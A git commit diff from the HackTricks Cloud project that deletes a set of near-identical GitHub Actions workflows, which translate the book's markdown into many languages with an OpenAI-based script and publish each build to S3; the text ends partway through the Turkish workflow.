Translated ['src/pentesting-cloud/azure-security/az-services/az-automati

This commit is contained in:
Translator
2025-08-21 00:23:57 +00:00
parent 47cdaa34fa
commit 746da769a1
21 changed files with 546 additions and 1990 deletions

View File

@@ -1,119 +0,0 @@
name: Translator to AF (Afrikaans)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: af
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Afrikaans
BRANCH: af
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to DE (German)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: de
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: German
BRANCH: de
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to EL (Greek)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: el
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Greek
BRANCH: el
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to ES (Spanish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: es
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Spanish
BRANCH: es
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to FR (French)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: fr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: French
BRANCH: fr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to IT (Italian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: it
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Italian
BRANCH: it
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to JA (Japanese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: ja
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Japanese
BRANCH: ja
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to KO (Korean)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: ko
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Korean
BRANCH: ko
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to PL (Polish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: pl
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Polish
BRANCH: pl
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to PT (Portuguese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: pt
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Portuguese
BRANCH: pt
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to SR (Serbian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: sr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Serbian
BRANCH: sr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to SW (Swahili)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: sw
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Swahili
BRANCH: sw
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to TR (Turkish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: tr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
